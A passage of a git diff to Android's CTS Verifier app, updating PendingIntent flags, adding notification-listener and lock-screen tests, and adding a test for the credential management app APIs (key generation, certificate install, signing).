         mNfcAdapter = nfcManager.getDefaultAdapter();
         mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
index d9166a5..faee902 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
@@ -102,7 +102,7 @@
             NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
             mNfcAdapter = nfcManager.getDefaultAdapter();
             mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
-                    .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+                    .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             goToWriteStep();
         } else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
new file mode 100644
index 0000000..ea48cce
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.notifications;
+
+import android.app.Notification;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.cts.verifier.R;
+
+public class ActionTriggeredReceiver extends BroadcastReceiver {
+
+    public static String ACTION = "com.android.cts.verifier.notifications.ActionTriggeredReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (ACTION.equals(intent.getAction())) {
+            sendNotification(context, false);
+        }
+    }
+
+    public static void sendNotification(Context context, boolean initialSend) {
+        String initialSendText = context.getString(R.string.action_not_sent);
+        String updateSendText = context.getString(R.string.action_received);
+        NotificationManager nm = context.getSystemService(NotificationManager.class);
+        Notification n1 = new Notification.Builder(
+                context, NotificationListenerVerifierActivity.TAG)
+                .setContentTitle(initialSend ?  initialSendText: updateSendText)
+                .setContentText(initialSend ? initialSendText : updateSendText)
+                .setSmallIcon(R.drawable.ic_stat_charlie)
+                .setCategory(Notification.CATEGORY_REMINDER)
+                .addAction(new Notification.Action.Builder(R.drawable.ic_stat_charlie,
+                        context.getString(R.string.action_test_title),
+                        makeBroadcastIntent(context))
+                        .setAuthenticationRequired(true).build())
+                .build();
+        nm.notify(ACTION, 0, n1);
+    }
+
+    protected static PendingIntent makeBroadcastIntent(Context context) {
+        Intent intent = new Intent(ACTION);
+        intent.setComponent(new ComponentName(context, ActionTriggeredReceiver.class));
+        PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        return pi;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 18f82b7..4972d00 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -534,7 +534,7 @@
     private Notification.BubbleMetadata.Builder getIntentBubble() {
         Context context = getApplicationContext();
         Intent intent = new Intent(context, BubbleActivity.class);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(pendingIntent,
                 Icon.createWithResource(getApplicationContext(),
@@ -546,14 +546,14 @@
             @NonNull CharSequence content) {
         Context context = getApplicationContext();
         Intent intent = new Intent(context, BubbleActivity.class);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Person person = new Person.Builder()
                 .setName("bubblebot")
                 .build();
         RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
         PendingIntent inputIntent = PendingIntent.getActivity(getApplicationContext(), 0,
-                new Intent(), 0);
+                new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(getApplicationContext(), R.drawable.ic_android);
         Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
                 inputIntent).addRemoteInput(remoteInput)
@@ -569,9 +569,9 @@
                 .setActions(replyAction)
                 .setStyle(new Notification.MessagingStyle(person)
                         .setConversationTitle("Bubble Chat")
-                        .addMessage("Hello?",
+                        .addMessage(title,
                                 SystemClock.currentThreadTimeMillis() - 300000, person)
-                        .addMessage("Is it me you're looking for?",
+                        .addMessage(content,
                                 SystemClock.currentThreadTimeMillis(), person)
                 );
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 121534a..0a21dd8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -16,7 +16,9 @@
 
 package com.android.cts.verifier.notifications;
 
+import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_DETAIL_SETTINGS;
 import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
+import static android.provider.Settings.EXTRA_NOTIFICATION_LISTENER_COMPONENT_NAME;
 
 import android.app.NotificationManager;
 import android.app.PendingIntent;
@@ -415,7 +417,15 @@
         Intent intent = new Intent(tag);
         intent.setComponent(new ComponentName(mContext, DismissService.class));
         PendingIntent pi = PendingIntent.getService(mContext, code, intent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        return pi;
+    }
+
+    protected PendingIntent makeBroadcastIntent(int code, String tag) {
+        Intent intent = new Intent(tag);
+        intent.setComponent(new ComponentName(mContext, ActionTriggeredReceiver.class));
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, code, intent,
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pi;
     }
 
@@ -497,8 +507,8 @@
         @Override
         protected void test() {
             mNm.cancelAll();
-            Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
-            if (settings.resolveActivity(mPackageManager) == null) {
+
+            if (getIntent().resolveActivity(mPackageManager) == null) {
                 logFail("no settings activity");
                 status = FAIL;
             } else {
@@ -521,7 +531,10 @@
 
         @Override
         protected Intent getIntent() {
-            return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+            Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_DETAIL_SETTINGS);
+            settings.putExtra(EXTRA_NOTIFICATION_LISTENER_COMPONENT_NAME,
+                    MockListener.COMPONENT_NAME.flattenToString());
+            return settings;
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 1d704b0..a5adc2b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.verifier.notifications;
 
+import static android.app.Notification.VISIBILITY_PRIVATE;
 import static android.app.NotificationManager.IMPORTANCE_LOW;
 import static android.app.NotificationManager.IMPORTANCE_MAX;
 import static android.app.NotificationManager.IMPORTANCE_NONE;
@@ -35,6 +36,7 @@
 import static com.android.cts.verifier.notifications.MockListener.REASON_LISTENER_CANCEL;
 
 import android.annotation.SuppressLint;
+import android.app.KeyguardManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationChannelGroup;
@@ -50,13 +52,13 @@
 import android.os.SystemClock;
 import android.provider.Settings;
 import android.provider.Settings.Secure;
+import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
 import android.util.ArraySet;
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.Button;
-import android.widget.FrameLayout;
 import android.widget.RemoteViews;
 
 import androidx.core.app.NotificationCompat;
@@ -75,9 +77,9 @@
 
 public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
         implements Runnable {
-    private static final String TAG = "NoListenerVerifier";
+    static final String TAG = "NoListenerVerifier";
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
-    private static final String NOISY_NOTIFICATION_CHANNEL_ID = TAG + "Noisy";
+    private static final String NOISY_NOTIFICATION_CHANNEL_ID = TAG + "noisy";
     protected static final String PREFS = "listener_prefs";
     final int NUM_NOTIFICATIONS_SENT = 3; // # notifications sent by sendNotifications()
 
@@ -119,6 +121,10 @@
         tests.add(new IsEnabledTest());
         tests.add(new ServiceStartedTest());
         tests.add(new NotificationReceivedTest());
+        tests.add(new SendUserToChangeFilter());
+        tests.add(new AskIfFilterChanged());
+        tests.add(new NotificationTypeFilterTest());
+        tests.add(new ResetChangeFilter());
         tests.add(new LongMessageTest());
         tests.add(new DataIntactTest());
         tests.add(new AudiblyAlertedTest());
@@ -130,6 +136,7 @@
         tests.add(new SnoozeNotificationForTimeCancelTest());
         tests.add(new GetSnoozedNotificationTest());
         tests.add(new EnableHintsTest());
+        tests.add(new LockscreenVisibilityTest());
         tests.add(new ReceiveAppBlockNoticeTest());
         tests.add(new ReceiveAppUnblockNoticeTest());
         if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
@@ -144,6 +151,9 @@
         tests.add(new IsDisabledTest());
         tests.add(new ServiceStoppedTest());
         tests.add(new NotificationNotReceivedTest());
+        tests.add(new AddScreenLockTest());
+        tests.add(new SecureActionOnLockScreenTest());
+        tests.add(new RemoveScreenLockTest());
         return tests;
     }
 
@@ -165,11 +175,11 @@
     @SuppressLint("NewApi")
     private void sendNotifications() {
         mTag1 = UUID.randomUUID().toString();
-        Log.d(TAG, "Sending " + mTag1);
+        Log.d(TAG, "Sending #1: " + mTag1);
         mTag2 = UUID.randomUUID().toString();
-        Log.d(TAG, "Sending " + mTag2);
+        Log.d(TAG, "Sending #2: " + mTag2);
         mTag3 = UUID.randomUUID().toString();
-        Log.d(TAG, "Sending " + mTag3);
+        Log.d(TAG, "Sending #3: " + mTag3);
 
         mWhen1 = System.currentTimeMillis() + 1;
         mWhen2 = System.currentTimeMillis() + 2;
@@ -222,7 +232,7 @@
 
     private void sendNoisyNotification() {
         mTag4 = UUID.randomUUID().toString();
-        Log.d(TAG, "Sending " + mTag4);
+        Log.d(TAG, "Sending noisy notif: " + mTag4);
 
         mWhen4 = System.currentTimeMillis() + 4;
         mIcon4 = R.drawable.ic_stat_charlie;
@@ -290,7 +300,7 @@
             }
             Notification.Builder builder = new Notification.Builder(
                     mContext, NOTIFICATION_CHANNEL_ID)
-                    .setSmallIcon(android.R.id.icon)
+                    .setSmallIcon(R.drawable.ic_stat_alice)
                     .setContentTitle("This is an long notification")
                     .setContentText("Innocuous content")
                     .setStyle(new Notification.MessagingStyle("Fake person")
@@ -494,6 +504,85 @@
     }
 
     /**
+     * Creates a notification channel. Sends the user to settings to disallow the channel from
+     * showing on the lockscreen. Sends a notification, checks the lockscreen setting in the
+     * ranking object.
+     */
+    protected class LockscreenVisibilityTest extends InteractiveTestCase {
+        private int mRetries = 3;
+        private View mView;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.nls_visibility);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            createChannels();
+            status = READY;
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            NotificationChannel channel = mNm.getNotificationChannel(NOTIFICATION_CHANNEL_ID);
+            if (channel.getLockscreenVisibility() == VISIBILITY_PRIVATE) {
+                if (mRetries == 3) {
+                    sendNotifications();
+                }
+
+                NotificationListenerService.Ranking rank =
+                        new NotificationListenerService.Ranking();
+                StatusBarNotification sbn = MockListener.getInstance().getPosted(mTag1);
+                if (sbn != null) {
+                    MockListener.getInstance().getCurrentRanking().getRanking(sbn.getKey(), rank);
+                    if (rank.getLockscreenVisibilityOverride() == VISIBILITY_PRIVATE) {
+                        status = PASS;
+                    } else {
+                        logFail("Actual visibility:" + rank.getLockscreenVisibilityOverride());
+                        status = FAIL;
+                    }
+                } else {
+                    if (mRetries > 0) {
+                        mRetries--;
+                        status = RETEST;
+                    } else {
+                        logFail("Notification wasn't posted");
+                        status = FAIL;
+                    }
+                 }
+
+            } else {
+                // user hasn't jumped to settings  yet
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        protected void tearDown() {
+            MockListener.getInstance().resetData();
+            deleteChannels();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS)
+                    .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+                    .putExtra(EXTRA_CHANNEL_ID, NOTIFICATION_CHANNEL_ID);
+        }
+    }
+
+    /**
      * Sends the user to settings to block the app. Waits to receive the broadcast that the app was
      * blocked, and confirms that the broadcast contains the correct extras.
      */
@@ -1608,4 +1697,240 @@
             next();
         }
     }
+
+    private class AddScreenLockTest extends InteractiveTestCase {
+        private View mView;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.add_screen_lock);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            status = READY;
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            KeyguardManager km = getSystemService(KeyguardManager.class);
+            if (km.isDeviceSecure()) {
+                status = PASS;
+            } else {
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_SECURITY_SETTINGS)
+                    .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        }
+    }
+
+    private class SecureActionOnLockScreenTest extends InteractiveTestCase {
+        @Override
+        protected void setUp() {
+            createChannels();
+            ActionTriggeredReceiver.sendNotification(mContext, true);
+            status = READY;
+        }
+
+        @Override
+        protected void tearDown() {
+            mNm.cancelAll();
+            deleteChannels();
+            delay();
+        }
+
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createPassFailItem(parent, R.string.secure_action_lockscreen);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            status = WAIT_FOR_USER;
+            next();
+        }
+    }
+
+    private class RemoveScreenLockTest extends InteractiveTestCase {
+        private View mView;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.remove_screen_lock);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            status = READY;
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            KeyguardManager km = getSystemService(KeyguardManager.class);
+            if (!km.isDeviceSecure()) {
+                status = PASS;
+            } else {
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_SECURITY_SETTINGS)
+                    .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        }
+    }
+
+    /**
+     * Sends the user to settings filter out silent notifications for this notification listener.
+     * Sends silent and not silent notifs and makes sure only the non silent is received
+     */
+    private class NotificationTypeFilterTest extends InteractiveTestCase {
+        int mRetries = 3;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_filter_test);
+
+        }
+
+        @Override
+        protected void setUp() {
+            createChannels();
+            sendNotifications();
+            sendNoisyNotification();
+            status = READY;
+        }
+
+        @Override
+        protected void tearDown() {
+            mNm.cancelAll();
+            MockListener.getInstance().resetData();
+            deleteChannels();
+        }
+
+        @Override
+        protected void test() {
+            if (MockListener.getInstance().getPosted(mTag4) == null) {
+                Log.d(TAG, "Could not find " + mTag4);
+                if (--mRetries > 0) {
+                    sleep(100);
+                    status = RETEST;
+                } else {
+                    status = FAIL;
+                }
+            } else if (MockListener.getInstance().getPosted(mTag2) != null) {
+                logFail("Found" + mTag2);
+                status = FAIL;
+            } else {
+                status = PASS;
+            }
+        }
+    }
+
+    protected class SendUserToChangeFilter extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createUserItem(
+                    parent, R.string.cp_start_settings,  R.string.nls_change_type_filter);
+        }
+
+        @Override
+        protected void setUp() {
+            // note: it's expected that the '0' type will be ignored since we've specified a
+            // type in the manifest
+            ArrayList<String> pkgs = new ArrayList<>();
+            pkgs.add("com.android.settings");
+            MockListener.getInstance().migrateNotificationFilter(0, pkgs);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            if (getIntent().resolveActivity(mPackageManager) == null) {
+                logFail("no settings activity");
+                status = FAIL;
+            } else {
+                if (buttonPressed) {
+                    status = PASS;
+                } else {
+                    status = RETEST_AFTER_LONG_DELAY;
+                }
+                next();
+            }
+        }
+
+        protected void tearDown() {
+            // wait for the service to start
+            delay();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_DETAIL_SETTINGS);
+            intent.putExtra(Settings.EXTRA_NOTIFICATION_LISTENER_COMPONENT_NAME,
+                    MockListener.COMPONENT_NAME.flattenToString());
+            return intent;
+        }
+    }
+
+    protected class ResetChangeFilter extends SendUserToChangeFilter {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createUserItem(
+                    parent, R.string.cp_start_settings,  R.string.nls_reset_type_filter);
+        }
+    }
+
+    protected class AskIfFilterChanged extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createPassFailItem(parent, R.string.nls_original_filter_verification);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            status = WAIT_FOR_USER;
+            next();
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
index be78556..253749b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
@@ -89,7 +89,7 @@
                                 0,
                                 new Intent(activity, TimeoutResetActivity.class)
                                         .putExtra(EXTRA_OLD_TIMEOUT, oldTimeout),
-                                0));
+                                PendingIntent.FLAG_MUTABLE_UNAUDITED));
             }
         });
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/OWNERS
index 4eca63b..a778d54 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 109606
 dysu@google.com
 etancohen@google.com
-rpius@google.com
 satk@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/projection/ProjectedPresentation.java b/apps/CtsVerifier/src/com/android/cts/verifier/projection/ProjectedPresentation.java
index 53d715a..452e591 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/projection/ProjectedPresentation.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/projection/ProjectedPresentation.java
@@ -31,8 +31,6 @@
         // This theme is required to prevent an extra view from obscuring the presentation
         super(outerContext, display, android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
 
-        getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
-
         // So we can control the input
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_LOCAL_FOCUS_MODE);
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/CredentialManagementAppActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/CredentialManagementAppActivity.java
new file mode 100644
index 0000000..2d58d17
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/CredentialManagementAppActivity.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.security;
+
+import static android.keystore.cts.CertificateUtils.createCertificate;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.AttestedKeyPair;
+import android.security.KeyChain;
+import android.security.KeyChainAliasCallback;
+import android.security.KeyChainException;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+import android.util.Log;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.DialogTestListActivity;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestResult;
+
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.security.Principal;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.cert.X509Certificate;
+import java.util.Arrays;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+import javax.security.auth.x500.X500Principal;
+
+/**
+ * CTS verifier test for credential management on unmanaged device.
+ *
+ * This activity is responsible for starting the credential management app flow. It performs the
+ * following verifications:
+ *  Can successfully request to become the Credential management app
+ *  The credential management app is correctly set
+ *  The authentication policy is correctly set
+ *  The credential management app can generate a key pair
+ *  The credential management app can install a certificate
+ *  The credential management app can successfully predefine which alias should be used for
+ *  authentication to a remote service
+ *  The chosen alias can be used to get the private key to sign data and the public key to
+ *  validate the signature.
+ */
+public class CredentialManagementAppActivity extends DialogTestListActivity {
+
+    private static final String TAG = "CredentialManagementAppActivity";
+
+    private static final int REQUEST_MANAGE_CREDENTIALS_STATUS = 0;
+
+    private static final String TEST_APP_PACKAGE_NAME = "com.android.cts.verifier";
+    private static final Uri TEST_URI = Uri.parse("https://test.com");
+    private static final String TEST_ALIAS = "testAlias";
+    private static final AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
+            new AppUriAuthenticationPolicy.Builder()
+                    .addAppAndUriMapping(TEST_APP_PACKAGE_NAME, TEST_URI, TEST_ALIAS)
+                    .build();
+    private static final String KEY_ALGORITHM = "RSA";
+    private static final byte[] DATA = "test".getBytes();
+
+    private DevicePolicyManager mDevicePolicyManager;
+
+    private DialogTestListItem mRequestManageCredentials;
+    private DialogTestListItem mCheckIsCredentialManagementApp;
+    private DialogTestListItem mCheckAuthenticationPolicy;
+    private DialogTestListItem mGenerateKeyPair;
+    private DialogTestListItem mCreateAndInstallCertificate;
+    private DialogTestListItem mRequestCertificateForAuthentication;
+    private DialogTestListItem mSignDataWithKey;
+    private DialogTestListItem mVerifySignature;
+    private DialogTestListItem mRemoveCredentialManagementApp;
+
+    private AttestedKeyPair mAttestedKeyPair;
+    private X509Certificate mCertificate;
+    private String mChosenAlias;
+    private byte[] mSignature;
+
+    private final ExecutorService mExecutor = Executors.newSingleThreadExecutor();
+    private final Handler mHandler = new Handler(Looper.getMainLooper());
+
+    private boolean mHasCredentialManagementApp = false;
+
+    public CredentialManagementAppActivity() {
+        super(R.layout.credential_management_app_test,
+                R.string.credential_management_app_test,
+                R.string.credential_management_app_info,
+                R.string.credential_management_app_info);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mDevicePolicyManager = getSystemService(DevicePolicyManager.class);
+    }
+
+    @Override
+    public void finish() {
+        super.finish();
+        if (mHasCredentialManagementApp) {
+            mExecutor.execute(
+                    () -> KeyChain.removeCredentialManagementApp(getApplicationContext()));
+        }
+    }
+
+    @Override
+    protected void setupTests(final ArrayTestListAdapter testAdapter) {
+        mRequestManageCredentials = new DialogTestListItem(this,
+                R.string.request_manage_credentials,
+                "request_manage_credentials") {
+            @Override
+            public void performTest(DialogTestListActivity activity) {
+                Intent intent = KeyChain.createManageCredentialsIntent(AUTHENTICATION_POLICY);
+                startActivityForResult(intent, REQUEST_MANAGE_CREDENTIALS_STATUS);
+            }
+        };
+        testAdapter.add(mRequestManageCredentials);
+        mCheckIsCredentialManagementApp = new DialogTestListItem(this,
+                R.string.is_credential_management_app,
+                "is_credential_management_app") {
+            @Override
+            public void performTest(DialogTestListActivity activity) {
+                checkIsCredentialManagementApp();
+            }
+        };
+        testAdapter.add(mCheckIsCredentialManagementApp);
+        mCheckAuthenticationPolicy = new DialogTestListItem(this,
+                R.string.credential_management_app_policy,
+                "credential_management_app_policy") {
+            @Override
+            public void performTest(DialogTestListActivity activity) {
+                checkAuthenticationPolicy();
+            }
+        };
+        testAdapter.add(mCheckAuthenticationPolicy);
+        mGenerateKeyPair = new DialogTestListItem(this,
+                R.string.generate_key_pair,
+                "generate_key_pair") {
+            @Override
+            public void performTest(DialogTestListActivity activity) {
+                generateKeyPair();
+            }
+        };
+        testAdapter.add(mGenerateKeyPair);
+        mCreateAndInstallCertificate = new DialogTestListItem(this,
+                R.string.create_and_install_certificate,
+                "create_and_install_certificate") {
+            @Override
+            public void performTest(DialogTestListActivity activity) {
+                createAndInstallCertificate();
+            }
+        };
+        testAdapter.add(mCreateAndInstallCertificate);
+        mRequestCertificateForAuthentication = new DialogTestListItem(this,
+                R.string.request_certificate_authentication,
+                "request_certificate_authentication") {
+            @Override
+            public void performTest(DialogTestListActivity activity) {
+                requestCertificateForAuthentication();
+            }
+        };
+        testAdapter.add(mRequestCertificateForAuthentication);
+        mSignDataWithKey = new DialogTestListItem(this,
+                R.string.sign_data_with_key,
+                "sign_data_with_key") {
+            @Override
+            public void performTest(DialogTestListActivity activity) {
+                getPrivateKeyAndSignData();
+            }
+        };
+        testAdapter.add(mSignDataWithKey);
+        mVerifySignature = new DialogTestListItem(this,
+                R.string.verify_signature,
+                "verify_signature") {
+            @Override
+            public void performTest(DialogTestListActivity activity) {
+                getPublicKeyAndVerifySignature();
+            }
+        };
+        testAdapter.add(mVerifySignature);
+        mRemoveCredentialManagementApp = new DialogTestListItem(this,
+                R.string.remove_credential_management_app,
+                "remove_credential_management_app") {
+            @Override
+            public void performTest(DialogTestListActivity activity) {
+                removeCredentialManagementApp();
+            }
+        };
+        testAdapter.add(mRemoveCredentialManagementApp);
+    }
+
+    private void checkIsCredentialManagementApp() {
+        mExecutor.execute(() -> {
+            final boolean isCredMngApp =
+                    KeyChain.isCredentialManagementApp(getApplicationContext());
+            mHandler.post(() -> setResult(mCheckIsCredentialManagementApp, isCredMngApp));
+        });
+    }
+
+    private void checkAuthenticationPolicy() {
+        mExecutor.execute(() -> {
+            final AppUriAuthenticationPolicy authenticationPolicy =
+                    KeyChain.getCredentialManagementAppPolicy(getApplicationContext());
+            mHandler.post(() -> setResult(mCheckAuthenticationPolicy,
+                    authenticationPolicy.equals(AUTHENTICATION_POLICY)));
+        });
+    }
+
+    private void generateKeyPair() {
+        mExecutor.execute(() -> {
+            KeyGenParameterSpec keyGenParameterSpec = new KeyGenParameterSpec.Builder(
+                    TEST_ALIAS, KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                    .setKeySize(2048)
+                    .setDigests(KeyProperties.DIGEST_SHA256)
+                    .setSignaturePaddings(
